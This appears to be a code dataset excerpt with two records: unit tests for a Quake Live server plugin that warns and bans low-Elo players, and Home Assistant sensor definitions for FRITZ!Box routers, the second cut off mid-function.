+{"text": "from minqlx_plugin_test import *\n\nimport logging\nimport unittest\n\nfrom mockito import *\nfrom mockito.matchers import *\nfrom hamcrest import *\n\nfrom redis import Redis\n\nfrom merciful_elo_limit import *\n\n\nclass MercifulEloLimitTests(unittest.TestCase):\n\n def setUp(self):\n setup_plugin()\n setup_cvars({\n \"qlx_mercifulelo_minelo\": \"800\",\n \"qlx_mercifulelo_applicationgames\": \"10\",\n \"qlx_mercifulelo_abovegames\": \"10\",\n \"qlx_mercifulelo_daysbanned\": \"30\",\n \"qlx_owner\": \"42\"\n })\n\n setup_game_in_progress()\n self.plugin = merciful_elo_limit()\n self.reply_channel = mocked_channel()\n\n self.plugin.database = Redis\n self.db = mock(Redis)\n self.plugin._db_instance = self.db\n\n when(self.db).__getitem__(any).thenReturn(\"42\")\n\n def tearDown(self):\n unstub()\n\n def setup_balance_ratings(self, player_elos):\n gametype = None\n if len(player_elos) > 0:\n gametype = self.plugin.game.type_short\n ratings = {}\n for player, elo in player_elos:\n ratings[player.steam_id] = {gametype: {'elo': elo}}\n self.plugin._loaded_plugins[\"balance\"] = mock({'ratings': ratings})\n\n def setup_no_balance_plugin(self):\n if \"balance\" in self.plugin._loaded_plugins:\n del self.plugin._loaded_plugins[\"balance\"]\n\n def setup_exception_list(self, players):\n mybalance_plugin = mock(Plugin)\n mybalance_plugin.exceptions = [player.steam_id for player in players]\n self.plugin._loaded_plugins[\"mybalance\"] = mybalance_plugin\n\n def test_handle_map_change_resets_tracked_player_ids(self):\n connected_players()\n self.setup_balance_ratings([])\n self.plugin.tracked_player_sids = [123, 455]\n\n self.plugin.handle_map_change(\"campgrounds\", \"ca\")\n\n assert_that(self.plugin.tracked_player_sids, is_([]))\n\n def test_handle_map_change_resets_announced_player_ids(self):\n connected_players()\n self.setup_balance_ratings([])\n self.plugin.announced_player_elos = [123, 455]\n\n self.plugin.handle_map_change(\"campgrounds\", \"ca\")\n\n assert_that(self.plugin.announced_player_elos, is_([]))\n\n def test_handle_map_change_fetches_elos_of_connected_players(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 1200)})\n\n self.plugin.handle_map_change(\"thunderstruck\", \"ca\")\n\n verify(self.plugin._loaded_plugins[\"balance\"]).add_request(\n {player1.steam_id: 'ca', player2.steam_id: 'ca'},\n self.plugin.callback_ratings, CHAT_CHANNEL\n )\n\n def test_handle_player_connect_fetches_elo_of_connecting_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connecting_player = fake_player(789, \"Connecting Player\")\n connected_players(player1, player2, connecting_player)\n self.setup_balance_ratings({(player1, 900), (player2, 1200), (connecting_player, 1542)})\n\n self.plugin.handle_player_connect(connecting_player)\n\n verify(self.plugin._loaded_plugins[\"balance\"]).add_request(\n {connecting_player.steam_id: 'ca'},\n self.plugin.callback_ratings, CHAT_CHANNEL\n )\n\n def test_fetch_elos_of_players_with_no_game_setup(self):\n setup_no_game()\n self.setup_balance_ratings({})\n\n self.plugin.fetch_elos_of_players([])\n\n verify(self.plugin._loaded_plugins[\"balance\"], times=0).add_request(any, any, any)\n\n def test_fetch_elos_of_players_with_unsupported_gametype(self):\n setup_game_in_progress(\"unsupported\")\n self.setup_balance_ratings({})\n\n self.plugin.fetch_elos_of_players([])\n\n verify(self.plugin._loaded_plugins[\"balance\"], times=0).add_request(any, any, any)\n\n def test_fetch_elos_of_player_with_no_balance_plugin(self):\n mocked_logger = mock(spec=logging.Logger)\n spy2(minqlx.get_logger)\n when(minqlx).get_logger(self.plugin).thenReturn(mocked_logger)\n self.setup_no_balance_plugin()\n\n self.plugin.fetch_elos_of_players([])\n\n verify(mocked_logger).warning(matches(\"Balance plugin not found.*\"))\n\n def test_handle_round_countdown_with_no_game(self):\n setup_no_game()\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Speccing Player\", team=\"spectator\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({})\n\n self.plugin.handle_round_countdown(1)\n\n verify(self.plugin._loaded_plugins[\"balance\"], times=0).add_request(any, any, any)\n\n def test_handle_round_countdown_fetches_elos_of_players_in_teams(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Speccing Player\", team=\"spectator\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({(player1, 900), (player2, 1200), (player3, 1600)})\n\n self.plugin.handle_round_countdown(4)\n\n verify(self.plugin._loaded_plugins[\"balance\"]).add_request(\n {player1.steam_id: 'ca', player2.steam_id: 'ca'},\n self.plugin.callback_ratings, CHAT_CHANNEL\n )\n\n def test_callback_ratings_with_no_game_running(self):\n setup_no_game()\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Speccing Player\", team=\"spectator\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({})\n\n self.plugin.callback_ratings([], minqlx.CHAT_CHANNEL)\n\n verify(self.db, times=0).get(any)\n\n def test_callback_ratings_with_unsupported_game_type(self):\n setup_game_in_progress(\"unsupported\")\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Speccing Player\", team=\"spectator\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({})\n\n self.plugin.callback_ratings([], minqlx.CHAT_CHANNEL)\n\n verify(self.db, times=0).get(any)\n\n def test_callback_ratings_warns_low_elo_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(\"2\")\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n verify(player2, times=12).center_print(matches(\".*Skill warning.*8.*matches left.*\"))\n verify(player2).tell(matches(\".*Skill Warning.*qlstats.*below.*800.*8.*of 10 application matches.*\"))\n\n def test_callback_ratings_announces_information_to_other_players(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(\"2\")\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n assert_plugin_sent_to_console(matches(\"Fake Player2.*is below.*, but has.*8.*application matches left.*\"))\n\n def test_callback_ratings_announces_information_to_other_players_just_once_per_connect(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n self.plugin.announced_player_elos = [456]\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(\"2\")\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n assert_plugin_sent_to_console(matches(\"Player.*is below.*, but has 8 application matches left.*\"), times=0)\n\n def test_callback_ratings_makes_exception_for_player_in_exception_list(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Fake Player3\", team=\"red\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({(player1, 900), (player2, 799), (player3, 600)})\n self.setup_exception_list([player3])\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(\"2\")\n\n self.plugin.callback_ratings([player1, player2, player3], minqlx.CHAT_CHANNEL)\n\n verify(player2, times=12).center_print(matches(\".*Skill warning.*8.*matches left.*\"))\n verify(player2).tell(matches(\".*Skill Warning.*qlstats.*below.*800.*8.*of 10 application matches.*\"))\n verify(player3, times=0).center_print(any)\n verify(player3, times=0).tell(any)\n\n def test_callback_ratings_warns_low_elo_player_when_application_games_not_set(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(None)\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n verify(player2, times=12).center_print(matches(\".*Skill warning.*10.*matches left.*\"))\n verify(player2).tell(matches(\".*Skill Warning.*qlstats.*below.*800.*10.*of 10 application matches.*\"))\n\n def test_callback_ratings_bans_low_elo_players_that_used_up_their_application_games(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(\"11\")\n spy2(minqlx.COMMANDS.handle_input)\n when2(minqlx.COMMANDS.handle_input, any, any, any).thenReturn(None)\n\n patch(minqlx.PlayerInfo, lambda *args: mock(spec=minqlx.PlayerInfo))\n patch(minqlx.next_frame, lambda func: func)\n\n when(self.db).delete(any).thenReturn(None)\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n verify(minqlx.COMMANDS).handle_input(any, any, any)\n verify(self.db).delete(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n verify(self.db).delete(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id))\n\n def test_handle_round_start_increases_application_games_for_untracked_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(False)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).incr(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id))\n\n def test_handle_round_start_makes_exception_for_player_in_exception_list(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Fake Player3\", team=\"red\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({(player1, 900), (player2, 799), (player3, 600)})\n self.setup_exception_list([player3])\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(False)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).incr(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id))\n verify(self.db, times=0).incr(\"minqlx:players:{}:minelo:freegames\".format(player3.steam_id))\n\n def test_handle_round_start_starts_tracking_for_low_elo_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(False)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n assert_that(self.plugin.tracked_player_sids, has_item(player2.steam_id))\n\n def test_handle_round_start_resets_above_games_for_low_elo_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).delete(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n\n def test_handle_round_start_increases_above_games_for_application_games_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 801)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).incr(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n\n def test_handle_round_start_increases_above_games_for_application_games_player_with_no_aobve_games_set(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 801)})\n\n when(self.db).get(any).thenReturn(\"1\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).incr(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n\n def test_handle_round_start_starts_tracking_of_above_elo_players_for_application_games_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 801)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n assert_that(self.plugin.tracked_player_sids, has_item(player2.steam_id))\n\n def test_handle_round_start_removes_minelo_db_entries_for_above_elo_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 801)})\n\n when(self.db).get(any).thenReturn(\"11\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).delete(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id))\n verify(self.db).delete(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n\n def test_handle_round_start_skips_already_tracked_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.plugin.tracked_player_sids.append(player2.steam_id)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(3)\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(False)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db, times=0).delete(any)\n verify(self.db, times=0).delete(any)\n\n def test_handle_round_start_with_unsupported_gametype(self):\n setup_game_in_progress(\"unsupported\")\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({})\n\n self.plugin.handle_round_start(2)\n\n verify(self.plugin._loaded_plugins[\"balance\"], times=0).add_request(any, any, any)\n\n def test_handle_round_start_with_no_balance_plugin(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n mocked_logger = mock(spec=logging.Logger)\n spy2(minqlx.get_logger)\n when(minqlx).get_logger(self.plugin).thenReturn(mocked_logger)\n self.setup_no_balance_plugin()\n\n self.plugin.handle_round_start(5)\n\n verify(mocked_logger, atleast=1).warning(matches(\"Balance plugin not found.*\"))\n\n def test_cmd_mercis_shows_currently_connected_merciful_players(self):\n player = fake_player(666, \"Cmd using Player\")\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Fake Player3\", team=\"blue\")\n connected_players(player, player1, player2, player3)\n self.setup_balance_ratings({(player, 1400), (player1, 801), (player2, 799), (player3, 900)})\n\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player1.steam_id)).thenReturn(\"2\")\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id)).thenReturn(\"3\")\n when(self.db).get(\"minqlx:players:{}:minelo:abovegames\".format(player1.steam_id)).thenReturn(\"6\")\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player.steam_id)).thenReturn(None)\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player3.steam_id)).thenReturn(None)\n\n self.plugin.cmd_mercis(player, [\"!mercis\"], self.reply_channel)\n\n assert_channel_was_replied(self.reply_channel, matches(\"Fake Player1 \\(elo: 801\\):.*8.*application matches \"\n \"left,.*6.*matches above.*\"))\n assert_channel_was_replied(self.reply_channel, matches(\"Fake Player2 \\(elo: 799\\):.*7.*application matches \"\n \"left\"))\n\n def test_cmd_mercis_replies_to_main_cbannel_instead_of_team_chat(self):\n self.addCleanup(self.reset_chat_channel, minqlx.CHAT_CHANNEL)\n minqlx.CHAT_CHANNEL = mocked_channel()\n player = fake_player(666, \"Cmd using Player\")\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Fake Player3\", team=\"blue\")\n connected_players(player, player1, player2, player3)\n self.setup_balance_ratings({(player, 1400), (player1, 801), (player2, 799), (player3, 900)})\n\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player1.steam_id)).thenReturn(\"2\")\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id)).thenReturn(\"3\")\n when(self.db).get(\"minqlx:players:{}:minelo:abovegames\".format(player1.steam_id)).thenReturn(\"6\")\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player.steam_id)).thenReturn(None)\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player3.steam_id)).thenReturn(None)\n\n self.plugin.cmd_mercis(player, [\"!mercis\"], minqlx.BLUE_TEAM_CHAT_CHANNEL)\n\n assert_channel_was_replied(minqlx.CHAT_CHANNEL, matches(\"Fake Player1 \\(elo: 801\\):.*8.*application matches \"\n \"left,.*6.*matches above.*\"))\n assert_channel_was_replied(minqlx.CHAT_CHANNEL, matches(\"Fake Player2 \\(elo: 799\\):.*7.*application matches \"\n \"left\"))\n\n def reset_chat_channel(self, original_chat_channel):\n minqlx.CHAT_CHANNEL = original_chat_channel\n\n def test_cmd_mercis_shows_no_mercis_if_no_player_using_their_application_matches(self):\n player = fake_player(666, \"Cmd using Player\")\n connected_players(player)\n self.setup_balance_ratings({(player, 1400)})\n\n when(self.db).get(any).thenReturn(None)\n\n self.plugin.cmd_mercis(player, [\"!mercis\"], minqlx.CHAT_CHANNEL)\n\n assert_plugin_sent_to_console(any, times=0)\n", "source": "mgaertne/minqlx-plugin-tests", "license": "BSD-3-Clause"}
+{"text": "\"\"\"AVM FRITZ!Box binary sensors.\"\"\"\nfrom __future__ import annotations\n\nfrom collections.abc import Callable\nfrom dataclasses import dataclass\nfrom datetime import datetime, timedelta\nimport logging\nfrom typing import Any, Literal\n\nfrom fritzconnection.core.exceptions import (\n FritzActionError,\n FritzActionFailedError,\n FritzConnectionException,\n FritzInternalError,\n FritzServiceError,\n)\nfrom fritzconnection.lib.fritzstatus import FritzStatus\n\nfrom homeassistant.components.sensor import (\n STATE_CLASS_MEASUREMENT,\n STATE_CLASS_TOTAL_INCREASING,\n SensorEntity,\n SensorEntityDescription,\n)\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import (\n DATA_GIGABYTES,\n DATA_RATE_KILOBITS_PER_SECOND,\n DATA_RATE_KILOBYTES_PER_SECOND,\n DEVICE_CLASS_TIMESTAMP,\n ENTITY_CATEGORY_DIAGNOSTIC,\n SIGNAL_STRENGTH_DECIBELS,\n)\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.util.dt import utcnow\n\nfrom .common import FritzBoxBaseEntity, FritzBoxTools\nfrom .const import DOMAIN, DSL_CONNECTION, UPTIME_DEVIATION\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef _uptime_calculation(seconds_uptime: float, last_value: datetime | None) -> datetime:\n \"\"\"Calculate uptime with deviation.\"\"\"\n delta_uptime = utcnow() - timedelta(seconds=seconds_uptime)\n\n if (\n not last_value\n or abs((delta_uptime - last_value).total_seconds()) > UPTIME_DEVIATION\n ):\n return delta_uptime\n\n return last_value\n\n\ndef _retrieve_device_uptime_state(\n status: FritzStatus, last_value: datetime\n) -> datetime:\n \"\"\"Return uptime from device.\"\"\"\n return _uptime_calculation(status.device_uptime, last_value)\n\n\ndef _retrieve_connection_uptime_state(\n status: FritzStatus, last_value: datetime | None\n) -> datetime:\n \"\"\"Return uptime from connection.\"\"\"\n return _uptime_calculation(status.connection_uptime, last_value)\n\n\ndef _retrieve_external_ip_state(status: FritzStatus, last_value: str) -> str:\n \"\"\"Return external ip from device.\"\"\"\n return status.external_ip # type: ignore[no-any-return]\n\n\ndef _retrieve_kb_s_sent_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return upload transmission rate.\"\"\"\n return round(status.transmission_rate[0] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_kb_s_received_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return download transmission rate.\"\"\"\n return round(status.transmission_rate[1] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_max_kb_s_sent_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return upload max transmission rate.\"\"\"\n return round(status.max_bit_rate[0] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_max_kb_s_received_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return download max transmission rate.\"\"\"\n return round(status.max_bit_rate[1] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_gb_sent_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return upload total data.\"\"\"\n return round(status.bytes_sent / 1000 / 1000 / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_gb_received_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return download total data.\"\"\"\n return round(status.bytes_received / 1000 / 1000 / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_link_kb_s_sent_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return upload link rate.\"\"\"\n return round(status.max_linked_bit_rate[0] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_link_kb_s_received_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return download link rate.\"\"\"\n return round(status.max_linked_bit_rate[1] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_link_noise_margin_sent_state(\n status: FritzStatus, last_value: str\n) -> float:\n \"\"\"Return upload noise margin.\"\"\"\n return status.noise_margin[0] / 10 # type: ignore[no-any-return]\n\n\ndef _retrieve_link_noise_margin_received_state(\n status: FritzStatus, last_value: str\n) -> float:\n \"\"\"Return download noise margin.\"\"\"\n return status.noise_margin[1] / 10 # type: ignore[no-any-return]\n\n\ndef _retrieve_link_attenuation_sent_state(\n status: FritzStatus, last_value: str\n) -> float:\n \"\"\"Return upload line attenuation.\"\"\"\n return status.attenuation[0] / 10 # type: ignore[no-any-return]\n\n\ndef _retrieve_link_attenuation_received_state(\n status: FritzStatus, last_value: str\n) -> float:\n \"\"\"Return download line attenuation.\"\"\"\n return status.attenuation[1] / 10 # type: ignore[no-any-return]\n\n\n@dataclass\nclass FritzRequireKeysMixin:\n \"\"\"Fritz sensor data class.\"\"\"\n\n value_fn: Callable[[FritzStatus, Any], Any]\n\n\n@dataclass\nclass FritzSensorEntityDescription(SensorEntityDescription, FritzRequireKeysMixin):\n \"\"\"Describes Fritz sensor entity.\"\"\"\n\n connection_type: Literal[\"dsl\"] | None = None\n\n\nSENSOR_TYPES: tuple[FritzSensorEntityDescription, ...] = (\n FritzSensorEntityDescription(\n key=\"external_ip\",\n name=\"External IP\",\n icon=\"mdi:earth\",\n value_fn=_retrieve_external_ip_state,\n ),\n FritzSensorEntityDescription(\n key=\"device_uptime\",\n name=\"Device Uptime\",\n device_class=DEVICE_CLASS_TIMESTAMP,\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n value_fn=_retrieve_device_uptime_state,\n ),\n FritzSensorEntityDescription(\n key=\"connection_uptime\",\n name=\"Connection Uptime\",\n device_class=DEVICE_CLASS_TIMESTAMP,\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n value_fn=_retrieve_connection_uptime_state,\n ),\n FritzSensorEntityDescription(\n key=\"kb_s_sent\",\n name=\"Upload Throughput\",\n state_class=STATE_CLASS_MEASUREMENT,\n native_unit_of_measurement=DATA_RATE_KILOBYTES_PER_SECOND,\n icon=\"mdi:upload\",\n value_fn=_retrieve_kb_s_sent_state,\n ),\n FritzSensorEntityDescription(\n key=\"kb_s_received\",\n name=\"Download Throughput\",\n state_class=STATE_CLASS_MEASUREMENT,\n native_unit_of_measurement=DATA_RATE_KILOBYTES_PER_SECOND,\n icon=\"mdi:download\",\n value_fn=_retrieve_kb_s_received_state,\n ),\n FritzSensorEntityDescription(\n key=\"max_kb_s_sent\",\n name=\"Max Connection Upload Throughput\",\n native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND,\n icon=\"mdi:upload\",\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n value_fn=_retrieve_max_kb_s_sent_state,\n ),\n FritzSensorEntityDescription(\n key=\"max_kb_s_received\",\n name=\"Max Connection Download Throughput\",\n native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND,\n icon=\"mdi:download\",\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n value_fn=_retrieve_max_kb_s_received_state,\n ),\n FritzSensorEntityDescription(\n key=\"gb_sent\",\n name=\"GB sent\",\n state_class=STATE_CLASS_TOTAL_INCREASING,\n native_unit_of_measurement=DATA_GIGABYTES,\n icon=\"mdi:upload\",\n value_fn=_retrieve_gb_sent_state,\n ),\n FritzSensorEntityDescription(\n key=\"gb_received\",\n name=\"GB received\",\n state_class=STATE_CLASS_TOTAL_INCREASING,\n native_unit_of_measurement=DATA_GIGABYTES,\n icon=\"mdi:download\",\n value_fn=_retrieve_gb_received_state,\n ),\n FritzSensorEntityDescription(\n key=\"link_kb_s_sent\",\n name=\"Link Upload Throughput\",\n native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND,\n icon=\"mdi:upload\",\n value_fn=_retrieve_link_kb_s_sent_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_kb_s_received\",\n name=\"Link Download Throughput\",\n native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND,\n icon=\"mdi:download\",\n value_fn=_retrieve_link_kb_s_received_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_noise_margin_sent\",\n name=\"Link Upload Noise Margin\",\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS,\n icon=\"mdi:upload\",\n value_fn=_retrieve_link_noise_margin_sent_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_noise_margin_received\",\n name=\"Link Download Noise Margin\",\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS,\n icon=\"mdi:download\",\n value_fn=_retrieve_link_noise_margin_received_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_attenuation_sent\",\n name=\"Link Upload Power Attenuation\",\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS,\n icon=\"mdi:upload\",\n value_fn=_retrieve_link_attenuation_sent_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_attenuation_received\",\n name=\"Link Download Power Attenuation\",\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS,\n icon=\"mdi:download\",\n value_fn=_retrieve_link_attenuation_received_state,\n connection_type=DSL_CONNECTION,\n ),\n)\n\n\nasync def async_setup_entry(\n hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback\n) -> None:\n \"\"\"Set up entry.\"\"\"\n _LOGGER.debug(\"Setting up FRITZ!Box sensors\")\n fritzbox_tools: FritzBoxTools = hass.data[DOMAIN][entry.entry_id]\n\n if (\n not fritzbox_tools.connection\n or \"WANIPConn1\" not in fritzbox_tools.connection.services\n ):\n # Only routers are supported at the moment\n return\n\n dsl: bool = False\n try:\n dslinterface = await hass.async_add_executor_job(\n fritzbox_tools.connection.call_action,\n \"WANDSLInterfaceConfig:1\",\n 